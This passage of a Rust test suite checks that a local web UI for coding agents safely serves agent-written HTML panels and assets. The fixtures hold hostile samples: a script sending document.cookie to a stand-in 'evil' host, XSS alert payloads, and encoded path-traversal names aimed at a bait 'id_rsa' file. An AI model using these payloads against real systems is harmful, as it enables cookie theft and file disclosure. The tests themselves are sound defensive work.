7108 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7109 Self { home, addr }
7110 }
7111
7112 async fn serve(
7113 home: &FsPath,
7114 repo: PathBuf,
7115 launch: Launch,
7116 machine: Option<PathBuf>,
7117 ) -> SocketAddr {
7118 let queue = Queue::at(home.join("queue"));
7119 let runs = home.join("runs");
7120 std::fs::create_dir_all(&runs).expect("runs dir");
7121 let worktrees = home.join("wt").join("magi");
7122 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7123 let ui = Ui::new(
7124 queue,
7125 Questions::at(home.join("questions")),
7126 Talks::at(home.join("talks")),
7127 runs,
7128 home.to_path_buf(),
7129 repo,
7130 )
7131 .with_worktrees_root(worktrees)
7132 .with_machine_config(machine)
7133 .with_launch(launch);
7134 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7135 .await
7136 .expect("bind loopback");
7137 let addr = listener.local_addr().expect("local addr");
7138 tokio::spawn(async move {
7139 let _ = axum::serve(listener, ui.router()).await;
7140 });
7141 addr
7142 }
7143
7144 fn queue(&self) -> Queue {
7145 Queue::at(self.home.path().join("queue"))
7146 }
7147
7148 fn questions(&self) -> Questions {
7149 Questions::at(self.home.path().join("questions"))
7150 }
7151
7152 fn talks(&self) -> Talks {
7153 Talks::at(self.home.path().join("talks"))
7154 }
7155
7156 fn runs(&self) -> PathBuf {
7157 self.home.path().join("runs")
7158 }
7159
7160 async fn get(&self, path: &str) -> Res {
7161 request(self.addr, "GET", path, None).await
7162 }
7163
7164 async fn head(&self, path: &str) -> Res {
7169 request(self.addr, "HEAD", path, None).await
7170 }
7171
7172 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7173 request(self.addr, "POST", path, body).await
7174 }
7175
7176 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7177 request_with(self.addr, "GET", path, None, extra).await
7178 }
7179
7180 async fn delete(&self, path: &str) -> Res {
7181 request(self.addr, "DELETE", path, None).await
7182 }
7183
7184 async fn put(&self, path: &str, body: &str) -> Res {
7185 request(self.addr, "PUT", path, Some(body)).await
7186 }
7187
7188 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7190 request_bytes(self.addr, path, headers, body).await
7191 }
7192 }
7193
7194 struct Res {
7195 status: u16,
7196 headers: String,
7197 head: String,
7202 body: String,
7203 bytes: Vec<u8>,
7207 }
7208
7209 impl Res {
7210 fn json(&self) -> Value {
7211 serde_json::from_str(&self.body)
7212 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7213 }
7214
7215 fn header(&self, name: &str) -> Option<&str> {
7217 self.head.lines().find_map(|line| {
7218 let (key, value) = line.split_once(':')?;
7219 key.trim()
7220 .eq_ignore_ascii_case(name)
7221 .then(|| value.trim_start().trim_end_matches('\r'))
7222 })
7223 }
7224 }
7225
7226 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7229 request_with(addr, method, path, body, &[]).await
7230 }
7231
7232 async fn request_with(
7236 addr: SocketAddr,
7237 method: &str,
7238 path: &str,
7239 body: Option<&str>,
7240 extra: &[(&str, &str)],
7241 ) -> Res {
7242 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7243 for (name, value) in extra {
7244 head.push_str(&format!("{name}: {value}\r\n"));
7245 }
7246 if let Some(body) = body {
7247 head.push_str("Content-Type: application/json\r\n");
7248 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7249 }
7250 head.push_str("\r\n");
7251 if let Some(body) = body {
7252 head.push_str(body);
7253 }
7254 let mut socket = tokio::net::TcpStream::connect(addr)
7255 .await
7256 .expect("connect to the test server");
7257 socket
7258 .write_all(head.as_bytes())
7259 .await
7260 .expect("write request");
7261 let mut raw = Vec::new();
7262 socket.read_to_end(&mut raw).await.expect("read response");
7263 let split = raw
7266 .windows(4)
7267 .position(|w| w == b"\r\n\r\n")
7268 .expect("a header block");
7269 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7270 let bytes = raw[split + 4..].to_vec();
7271 let status = head
7272 .lines()
7273 .next()
7274 .and_then(|line| line.split_whitespace().nth(1))
7275 .and_then(|code| code.parse().ok())
7276 .expect("a status line");
7277 Res {
7278 status,
7279 headers: head.to_lowercase(),
7280 head,
7281 body: String::from_utf8_lossy(&bytes).into_owned(),
7282 bytes,
7283 }
7284 }
7285
7286 async fn request_bytes(
7292 addr: SocketAddr,
7293 path: &str,
7294 headers: &[(&str, &str)],
7295 body: &[u8],
7296 ) -> Res {
7297 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7298 for (name, value) in headers {
7299 head.push_str(&format!("{name}: {value}\r\n"));
7300 }
7301 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7302 let mut socket = tokio::net::TcpStream::connect(addr)
7303 .await
7304 .expect("connect to the test server");
7305 socket
7306 .write_all(head.as_bytes())
7307 .await
7308 .expect("write request head");
7309 socket.write_all(body).await.expect("write request body");
7310 let mut raw = Vec::new();
7311 socket.read_to_end(&mut raw).await.expect("read response");
7312 let split = raw
7313 .windows(4)
7314 .position(|w| w == b"\r\n\r\n")
7315 .expect("a header block");
7316 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7317 let bytes = raw[split + 4..].to_vec();
7318 let status = head
7319 .lines()
7320 .next()
7321 .and_then(|line| line.split_whitespace().nth(1))
7322 .and_then(|code| code.parse().ok())
7323 .expect("a status line");
7324 Res {
7325 status,
7326 headers: head.to_lowercase(),
7327 head,
7328 body: String::from_utf8_lossy(&bytes).into_owned(),
7329 bytes,
7330 }
7331 }
7332
7333 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7335 let mut state = RunState::new(
7336 PathBuf::from("/repo/magi"),
7337 "main".to_owned(),
7338 "0123456789abcdef".to_owned(),
7339 "Add a web UI\n\nMobile first.".to_owned(),
7340 Config::default(),
7341 );
7342 state.id = id.to_owned();
7343 state.status = status;
7344 let dir = runs.join(id);
7345 std::fs::create_dir_all(&dir).expect("run dir");
7346 std::fs::write(
7347 dir.join("run.json"),
7348 serde_json::to_string_pretty(&state).expect("serialize run"),
7349 )
7350 .expect("write run.json");
7351 }
7352
7353 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7357 let mut state = RunState::new(
7358 PathBuf::from(repo),
7359 "main".to_owned(),
7360 "0123456789abcdef".to_owned(),
7361 "task".to_owned(),
7362 Config::default(),
7363 );
7364 state.id = id.to_owned();
7365 state.status = status;
7366 let dir = runs.join(id);
7367 std::fs::create_dir_all(&dir).expect("run dir");
7368 std::fs::write(
7369 dir.join("run.json"),
7370 serde_json::to_string_pretty(&state).expect("serialize run"),
7371 )
7372 .expect("write run.json");
7373 }
7374
7375 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7376 let body = serde_json::json!({
7377 "schema": 1,
7378 "pid": 4242,
7379 "started_at": Timestamp::now().to_string(),
7380 "updated_at": updated_at.to_string(),
7381 "idle": false,
7382 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7383 "completed": 7,
7384 "polls": 143,
7385 });
7386 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7387 }
7388
7389 fn launch_idle(
7399 _opts: daemon::Opts,
7400 stop: daemon::Stop,
7401 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7402 Box::pin(async move {
7403 while !stop.stopped() {
7404 tokio::time::sleep(Duration::from_millis(2)).await;
7405 }
7406 Ok(())
7407 })
7408 }
7409
7410 fn launch_broken(
7413 _opts: daemon::Opts,
7414 _stop: daemon::Stop,
7415 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7416 Box::pin(async {
7417 Err(anyhow::anyhow!(
7418 "publish the daemon status file: read-only file system"
7419 ))
7420 })
7421 }
7422
7423 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7430 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7431
7432 fn launch_knocking_on_the_way_out(
7439 _opts: daemon::Opts,
7440 stop: daemon::Stop,
7441 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7442 Box::pin(async move {
7443 while !stop.stopped() {
7444 tokio::time::sleep(Duration::from_millis(2)).await;
7445 }
7446 let addr = PARK_KNOCK
7447 .lock()
7448 .expect("park knock")
7449 .expect("the test set an address");
7450 let heard = request(addr, "GET", "/api/health", None).await.status;
7451 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7452 Ok(())
7453 })
7454 }
7455
7456 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7465 for _ in 0..SETTLE_STEPS {
7466 let view = fx.get("/api/loop").await.json();
7467 if want(&view) {
7468 return view;
7469 }
7470 tokio::time::sleep(Duration::from_millis(10)).await;
7471 }
7472 panic!(
7473 "the loop never settled: {}",
7474 fx.get("/api/loop").await.json()
7475 );
7476 }
7477
7478 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7480 let store = fx.questions();
7481 let mut q = Question::new(
7482 "20260902-000000-beef".to_owned(),
7483 "implement".to_owned(),
7484 "impl-A".to_owned(),
7485 summary.to_owned(),
7486 "because it matters".to_owned(),
7487 choices.iter().map(|c| (*c).to_owned()).collect(),
7488 );
7489 store.put(&mut q).expect("put question");
7490 q.id
7491 }
7492
7493 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7499 let store = fx.questions();
7500 let mut q = Question::new(
7501 "20260902-000000-beef".to_owned(),
7502 "land".to_owned(),
7503 "fix".to_owned(),
7504 "Merge this?".to_owned(),
7505 "the diff is in the panel".to_owned(),
7506 vec!["merge".to_owned(), "hold".to_owned()],
7507 );
7508 let staging = fx.home.path().join("staging");
7511 std::fs::create_dir_all(&staging).expect("staging dir");
7512 let sources: Vec<PathBuf> = assets
7513 .iter()
7514 .map(|(name, bytes)| {
7515 let path = staging.join(name);
7516 std::fs::write(&path, bytes).expect("write staged asset");
7517 path
7518 })
7519 .collect();
7520 store
7521 .put_panel(&mut q, html, &sources)
7522 .expect("write the panel");
7523 store.put(&mut q).expect("put question");
7524 q.id
7525 }
7526
7527 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7536 seed_talk_at(&fx.talks(), id, status)
7537 }
7538
7539 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7540 std::fs::create_dir_all(store.root()).expect("talks dir");
7541 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7542 .expect("serialize a seat");
7543 let body = serde_json::json!({
7544 "schema": 1,
7545 "id": id,
7546 "repo": "/repo/magi",
7547 "agent": "mock",
7548 "status": status,
7549 "turns": [],
7550 "created_at": Timestamp::now().to_string(),
7551 "updated_at": Timestamp::now().to_string(),
7552 "seat": seat,
7553 });
7554 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7555 store.get(id).expect("the seeded talk has to be readable");
7556 id.to_owned()
7557 }
7558
7559 #[tokio::test]
7560 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7561 let fx = Fixture::start().await;
7562 let id = panel(
7563 &fx,
7564 "<h1>Merge?</h1><img src=\"diff.svg\">",
7565 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7566 );
7567
7568 for path in [
7569 format!("/api/questions/{id}/panel"),
7570 format!("/api/questions/{id}/asset/diff.svg"),
7571 ] {
7572 let res = fx.get(&path).await;
7573 assert_eq!(res.status, 200, "{path}: {}", res.body);
7574 assert_eq!(
7580 res.header("content-security-policy"),
7581 Some(
7582 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7583 font-src data:; base-uri 'none'; form-action 'none'; \
7584 frame-ancestors 'self'"
7585 ),
7586 "{path} is the only thing between a hostile panel and the tailnet"
7587 );
7588 assert_eq!(
7589 res.header("x-content-type-options"),
7590 Some("nosniff"),
7591 "{path}: a browser must not re-decide the type we sent"
7592 );
7593 assert_eq!(
7594 res.header("referrer-policy"),
7595 Some("no-referrer"),
7596 "{path}: a panel must not leak the question id off the machine"
7597 );
7598
7599 let pre = fx.head(&path).await;
7604 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7605 assert_eq!(
7606 pre.header("content-security-policy"),
7607 res.header("content-security-policy"),
7608 "{path}: the preflight carries the same policy"
7609 );
7610 assert_eq!(
7611 pre.header("content-type"),
7612 res.header("content-type"),
7613 "{path}: the preflight carries the same type"
7614 );
7615 }
7616 }
7617
7618 #[tokio::test]
7619 async fn a_panel_reaches_the_browser_byte_for_byte() {
7620 let fx = Fixture::start().await;
7621 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7626 let id = panel(&fx, html, &[]);
7627
7628 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7629
7630 assert_eq!(res.status, 200);
7631 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7632 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7633 assert_eq!(
7634 res.header("content-disposition"),
7635 None,
7636 "the panel itself is rendered in the frame, not downloaded"
7637 );
7638 }
7639
7640 #[tokio::test]
7641 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7642 let fx = Fixture::start().await;
7643 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7644 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7645 let id = panel(
7646 &fx,
7647 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7648 &[("diff.svg", svg), ("shot.png", png)],
7649 );
7650
7651 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7652 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7653
7654 assert_eq!(as_svg.status, 200);
7655 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7656 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7661
7662 assert_eq!(as_png.status, 200);
7663 assert_eq!(as_png.header("content-type"), Some("image/png"));
7664 assert_eq!(
7665 as_png.header("content-disposition"),
7666 None,
7667 "a raster image has no execution surface, so tapping it still shows it"
7668 );
7669 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7670 }
7671
7672 #[tokio::test]
7673 async fn an_html_asset_is_never_served_as_html() {
7674 let fx = Fixture::start().await;
7675 let id = panel(
7676 &fx,
7677 "<p>see the notes</p>",
7678 &[
7679 (
7680 "notes.html",
7681 b"<script>fetch('http://evil/'+document.cookie)</script>",
7682 ),
7683 ("hook.js", b"fetch('http://evil/')"),
7684 ("data.json", b"{}"),
7685 ("HEADLINE.TXT", b"plain"),
7686 ],
7687 );
7688
7689 for name in ["notes.html", "hook.js", "data.json"] {
7690 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7691 assert_eq!(res.status, 200, "{name}: {}", res.body);
7692 assert_eq!(
7697 res.header("content-type"),
7698 Some("application/octet-stream"),
7699 "{name} must not be a type the browser will execute or render"
7700 );
7701 }
7702 let txt = fx
7705 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7706 .await;
7707 assert_eq!(
7708 txt.header("content-type"),
7709 Some("text/plain; charset=utf-8")
7710 );
7711 }
7712
7713 #[tokio::test]
7714 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7715 let fx = Fixture::start().await;
7716 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7717 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7721
7722 for encoded in [
7729 "%2e%2e%2fid_rsa",
7730 "..%2fid_rsa",
7731 "..%5cid_rsa",
7732 "%2e%2e%5cid_rsa",
7733 "diff%00.svg",
7734 "..",
7735 ".hidden",
7736 "%2e%2e%2f%2e%2e%2fid_rsa",
7737 ] {
7738 let res = fx
7739 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7740 .await;
7741 assert_eq!(
7742 res.status, 400,
7743 "`{encoded}` has to be refused by name, not looked up: {}",
7744 res.body
7745 );
7746 assert!(res.json()["error"].is_string(), "{}", res.body);
7747 }
7748
7749 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7755 let res = fx
7756 .get(&format!("/api/questions/{id}/asset/{literal}"))
7757 .await;
7758 assert_eq!(
7759 res.status, 404,
7760 "`{literal}` must not match the asset route at all: {}",
7761 res.body
7762 );
7763 }
7764 }
7765
7766 #[tokio::test]
7767 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7768 let fx = Fixture::start().await;
7769 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7770 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7771
7772 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7776 assert_eq!(none.status, 404, "{}", none.body);
7777 assert!(none.json()["error"].is_string(), "{}", none.body);
7778 assert_eq!(
7779 fx.head(&format!("/api/questions/{plain}/panel"))
7780 .await
7781 .status,
7782 404,
7783 "the preflight is the only way the client can learn this"
7784 );
7785
7786 let missing = fx
7788 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7789 .await;
7790 assert_eq!(missing.status, 404, "{}", missing.body);
7791 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7792
7793 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7795 assert_eq!(
7796 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7797 404
7798 );
7799 }
7800
7801 #[tokio::test]
7802 async fn a_run_with_an_open_question_reads_as_waiting() {
7803 let fx = Fixture::start().await;
7804 let run = "20260902-000000-beef".to_owned();
7805 write_run(&fx.runs(), &run, RunStatus::Implementing);
7806
7807 let before = fx.get("/api/runs").await.json();
7808 assert_eq!(before[0]["waiting"], false, "{before}");
7809
7810 let store = fx.questions();
7811 let mut q = Question::new(
7812 run.clone(),
7813 "implement".to_owned(),
7814 "impl-A".to_owned(),
7815 "Which backend?".to_owned(),
7816 String::new(),
7817 vec!["SQLite".to_owned()],
7818 );
7819 store.put(&mut q).expect("put");
7820
7821 let during = fx.get("/api/runs").await.json();
7822 assert_eq!(during[0]["waiting"], true, "{during}");
7823
7824 q.answer(Answer::Choice("SQLite".to_owned()))
7827 .expect("answer");
7828 store.put(&mut q).expect("put");
7829 let after = fx.get("/api/runs").await.json();
7830 assert_eq!(after[0]["waiting"], false, "{after}");
7831 }
7832
7833 #[tokio::test]
7834 async fn an_open_question_is_listed_and_counted_by_health() {
7835 let fx = Fixture::start().await;
7836 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7837
7838 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7839 let listed = fx.get("/api/questions").await.json();
7840 assert_eq!(listed.as_array().expect("array").len(), 1);
7841 assert_eq!(listed[0]["id"], id);
7842 assert_eq!(listed[0]["status"], "open");
7843 assert_eq!(listed[0]["choices"][1], "Redis");
7844 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7847 }
7848
7849 #[tokio::test]
7850 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7851 let fx = Fixture::start().await;
7852 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7853 let path = format!("/api/questions/{id}/answer");
7854
7855 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7856 assert_eq!(res.status, 200, "{}", res.body);
7857 let body = res.json();
7858 assert_eq!(body["status"], "answered");
7859 assert_eq!(body["answer"]["choice"], "Redis");
7860
7861 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7865 assert_eq!(again.status, 409, "{}", again.body);
7866 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7867 }
7868
7869 #[tokio::test]
7870 async fn saying_something_appends_a_turn_without_answering() {
7871 let fx = Fixture::start().await;
7872 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7873 let path = format!("/api/questions/{id}/say");
7874
7875 let res = fx
7876 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7877 .await;
7878 assert_eq!(res.status, 200, "{}", res.body);
7879 let body = res.json();
7880 assert_eq!(body["status"], "open", "talking back is not a decision");
7881 assert_eq!(body["answer"], Value::Null);
7882 assert_eq!(body["thread"][0]["who"], "operator");
7883 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7884 assert_eq!(body["waiting_on_agent"], true);
7885 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7887 }
7888
7889 #[tokio::test]
7890 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7891 let fx = Fixture::start().await;
7892 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7893
7894 let list = fx.get("/api/questions").await.json();
7895 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7896
7897 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7898 assert_eq!(res.status, 409, "{}", res.body);
7899 let q = fx.questions().get(&id).unwrap();
7900 assert!(q.status.open());
7901 assert!(q.consult.is_none());
7902 }
7903
7904 #[tokio::test]
7905 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7906 let fx = Fixture::start().await;
7907 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7908 let cfg = Config {
7909 agents: vec![crate::config::AgentSpec {
7910 id: "mock".to_owned(),
7911 kind: crate::config::AgentKind::Command,
7912 model: None,
7913 command: vec!["true".to_owned()],
7914 extra_args: Vec::new(),
7915 env: Default::default(),
7916 prompt_delivery: None,
7917 }],
7918 ..Config::default()
7919 };
7920 let talk = crate::talk::begin(
7921 &fx.talks(),
7922 &cfg,
7923 fx.home.path().to_path_buf(),
7924 Some("mock"),
7925 )
7926 .unwrap();
7927 let mut task = Task::new(
7928 "t".to_owned(),
7929 "Do it".to_owned(),
7930 PathBuf::from("/repo/magi"),
7931 Source::Agent {
7932 run: talk.id.clone(),
7933 node: crate::queue::CHAT_NODE.to_owned(),
7934 },
7935 );
7936 task.start("20260902-000000-beef".to_owned());
7937 fx.queue().put(&mut task).unwrap();
7938
7939 let list = fx.get("/api/questions").await.json();
7940 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7941 assert_eq!(
7942 list[0]["choices"],
7943 serde_json::json!(["SQLite", "Redis"]),
7944 "the hand-over is never a choice"
7945 );
7946 let _ = id;
7947 }
7948
7949 #[tokio::test]
7950 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
7951 let fx = Fixture::start().await;
7952 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7953 let cfg = Config {
7954 agents: vec![crate::config::AgentSpec {
7955 id: "mock".to_owned(),
7956 kind: crate::config::AgentKind::Command,
7957 model: None,
7958 command: vec!["true".to_owned()],
7959 extra_args: Vec::new(),
7960 env: Default::default(),
7961 prompt_delivery: None,
7962 }],
7963 ..Config::default()
7964 };
7965 let repo = fx.home.path().join("chat-repo");
7967 std::fs::create_dir_all(&repo).unwrap();
7968 let toml = repo.join("magi.toml");
7969 std::fs::write(&toml, "this is = = not toml").unwrap();
7970 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
7971 let mut task = Task::new(
7972 "t".to_owned(),
7973 "Do it".to_owned(),
7974 PathBuf::from("/repo/magi"),
7975 Source::Agent {
7976 run: talk.id.clone(),
7977 node: crate::queue::CHAT_NODE.to_owned(),
7978 },
7979 );
7980 task.start("20260902-000000-beef".to_owned());
7981 fx.queue().put(&mut task).unwrap();
7982
7983 let path = format!("/api/questions/{id}/consult");
7984 let res = fx.post(&path, None).await;
7985 assert!(res.status >= 400, "{}", res.body);
7986 assert!(fx.questions().get(&id).unwrap().consult.is_none());
7987 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
7988
7989 std::fs::write(&toml, "").unwrap();
7990 let res = fx.post(&path, None).await;
7991 assert_eq!(res.status, 202, "{}", res.body);
7992 assert!(fx.questions().get(&id).unwrap().consult.is_some());
7993 }
7994
7995 #[tokio::test]
7996 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7997 let fx = Fixture::start().await;
7998 let store = fx.questions();
7999 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8000 assert_eq!(
8001 fx.get("/api/health").await.json()["questions_needs_owner"],
8002 1
8003 );
8004
8005 let res = fx
8011 .post(
8012 &format!("/api/questions/{id}/say"),
8013 Some(r#"{"body":"why not Postgres?"}"#),
8014 )
8015 .await;
8016 assert_eq!(res.status, 200, "{}", res.body);
8017 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8018 assert_eq!(
8019 fx.get("/api/health").await.json()["questions_needs_owner"],
8020 0,
8021 "waiting on the agent is not waiting on the owner"
8022 );
8023
8024 let mut q = store.get(&id).expect("get");
8028 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8029 .expect("reply");
8030 store.put(&mut q).expect("put");
8031 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8032 assert_eq!(
8033 fx.get("/api/health").await.json()["questions_needs_owner"],
8034 1,
8035 "the agent's reply is what should light the banner back up"
8036 );
8037 }
8038
8039 #[tokio::test]
8040 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8041 let fx = Fixture::start().await;
8042 let store = fx.questions();
8043
8044 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8045 let res = fx
8046 .post(
8047 &format!("/api/questions/{empty_id}/say"),
8048 Some(r#"{"body":" "}"#),
8049 )
8050 .await;
8051 assert_eq!(res.status, 400, "{}", res.body);
8052
8053 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8054 let mut answered = store.get(&answered_id).expect("get");
8055 answered
8056 .answer(Answer::Choice("SQLite".to_owned()))
8057 .expect("answer");
8058 store.put(&mut answered).expect("put");
8059 let res = fx
8060 .post(
8061 &format!("/api/questions/{answered_id}/say"),
8062 Some(r#"{"body":"still there?"}"#),
8063 )
8064 .await;
8065 assert_eq!(res.status, 409, "{}", res.body);
8066
8067 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8068 let mut abandoned = store.get(&abandoned_id).expect("get");
8069 abandoned.abandon("timed out");
8070 store.put(&mut abandoned).expect("put");
8071 let res = fx
8072 .post(
8073 &format!("/api/questions/{abandoned_id}/say"),
8074 Some(r#"{"body":"still there?"}"#),
8075 )
8076 .await;
8077 assert_eq!(res.status, 409, "{}", res.body);
8078 }
8079
8080 #[tokio::test]
8081 async fn an_answer_the_question_does_not_offer_is_refused() {
8082 let fx = Fixture::start().await;
8083 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8084 let path = format!("/api/questions/{id}/answer");
8085
8086 for body in [
8087 r#"{"choice":"Postgres"}"#,
8088 r#"{"text":"whatever you think"}"#,
8089 r#"{"choice":"Redis","text":"both"}"#,
8090 r#"{}"#,
8091 ] {
8092 let res = fx.post(&path, Some(body)).await;
8093 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8094 assert!(res.json()["error"].is_string(), "{}", res.body);
8095 }
8096 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8098 }
8099
8100 #[tokio::test]
8101 async fn a_free_text_question_takes_text_and_not_a_choice() {
8102 let fx = Fixture::start().await;
8103 let id = ask(&fx, "What should the flag be called?", &[]);
8104 let path = format!("/api/questions/{id}/answer");
8105
8106 assert_eq!(
8107 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8108 400
8109 );
8110 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8111 assert_eq!(res.status, 200, "{}", res.body);
8112 assert_eq!(res.json()["answer"]["text"], "--json");
8113 }
8114
8115 #[tokio::test]
8116 async fn an_unknown_question_is_a_json_404() {
8117 let fx = Fixture::start().await;
8118 let res = fx
8119 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8120 .await;
8121 assert_eq!(res.status, 404, "{}", res.body);
8122 assert!(res.json()["error"].is_string());
8123 }
8124
8125 #[tokio::test]
8126 async fn notifications_list_read_dismiss_and_health_agree() {
8127 let fx = Fixture::start().await;
8128 let store = Notices::at(fx.home.path().join("notifications"));
8129 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8130 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8131
8132 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8133 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8134
8135 let health = fx.get("/api/health").await.json();
8136 assert_eq!(health["notifications_unread"], 2);
8137 assert_ne!(
8138 health["notifications_rev"], rev0,
8139 "the badge must move live"
8140 );
8141
8142 let listed = fx.get("/api/notifications").await.json();
8143 assert_eq!(listed["unread"], 2);
8144 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8145 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8146
8147 let read = fx
8148 .post(&format!("/api/notifications/{}/read", a.id), None)
8149 .await;
8150 assert_eq!(read.status, 200, "{}", read.body);
8151 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8152
8153 let gone = fx
8154 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8155 .await;
8156 assert_eq!(gone.status, 200, "{}", gone.body);
8157 let listed = fx.get("/api/notifications").await.json();
8158 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8159 assert_eq!(listed["unread"], 0);
8160
8161 store.raise(Notice::info("x", "again")).unwrap();
8162 let all = fx.post("/api/notifications/read-all", None).await;
8163 assert_eq!(all.status, 200, "{}", all.body);
8164 assert_eq!(all.json()["marked"], 1);
8165 assert_eq!(
